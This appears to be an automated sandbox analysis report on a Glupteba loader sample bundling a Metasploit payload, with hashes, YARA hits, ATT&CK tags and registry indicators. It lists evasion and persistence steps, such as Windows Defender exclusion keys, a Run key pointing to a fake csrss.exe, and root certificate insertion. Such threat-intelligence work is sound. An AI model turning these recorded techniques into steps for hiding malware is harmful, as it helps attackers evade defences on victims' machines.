glupteba | e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424

Analysis

max time kernel
150s
max time network
142s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
29-01-2023 18:32

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General

Target

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Size

3.9MB
MD5

3fe78f7695077a15ff90b11c0793c21f
SHA1

2fcbb4d51326ca0eafafad8ce757f6855f34ec55
SHA256

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424
SHA512

1f5a3e19576db656ceea0468989d308831fa384ac13434d15642787806f7d838cbe95072dbd8c3e73947d320e5f98e40f920a6f496ce297287d60bb865f2c141
SSDEEP

98304:/aYFMnyHD6WfIo6j5+xufrLgJ5PI8yJRX7r4fhNdP:3FOyHJm2SLglyJRr0J

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1192-56-0x0000000001220000-0x0000000001A25000-memory.dmp	family_glupteba
behavioral1/memory/1192-57-0x0000000000400000-0x0000000000C1F000-memory.dmp	family_glupteba
behavioral1/memory/1192-58-0x0000000000400000-0x0000000000C1F000-memory.dmp	family_glupteba
behavioral1/memory/900-61-0x0000000000400000-0x0000000000C1F000-memory.dmp	family_glupteba
behavioral1/memory/900-70-0x0000000000400000-0x0000000000C1F000-memory.dmp	family_glupteba
behavioral1/memory/1436-72-0x0000000000400000-0x0000000000C1F000-memory.dmp	family_glupteba
behavioral1/memory/1436-83-0x0000000000400000-0x0000000000C1F000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\LittleStar = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1436 csrss.exe
1608 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1704 netsh.exe

pid	process
1436	csrss.exe
1608	patch.exe

pid	process
1704	netsh.exe

Loads dropped DLL 11 IoCs

Processes:

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exepatch.exe

pid	process
900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
900	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
876
1608	patch.exe
1608	patch.exe
1608	patch.exe
1608	patch.exe
1608	patch.exe
1608	patch.exe
1608	patch.exe
1608	patch.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\LittleStar = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe = "0"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Windows\CurrentVersion\Run\LittleStar = "\"C:\\Windows\\rss\\csrss.exe\""	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

1404 bcdedit.exe

pid	process
1404	bcdedit.exe

Drops file in Windows directory 3 IoCs

Processes:

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
File created	C:\Windows\rss\csrss.exe	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20230129193229.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1840 schtasks.exe
1732 schtasks.exe

pid	process
1840	schtasks.exe
1732	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.execsrss.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	e277e9f15664d74ff041442d63529322bcf143ad87d36ab2aed1b84984054424.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

csrss.exepatch.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
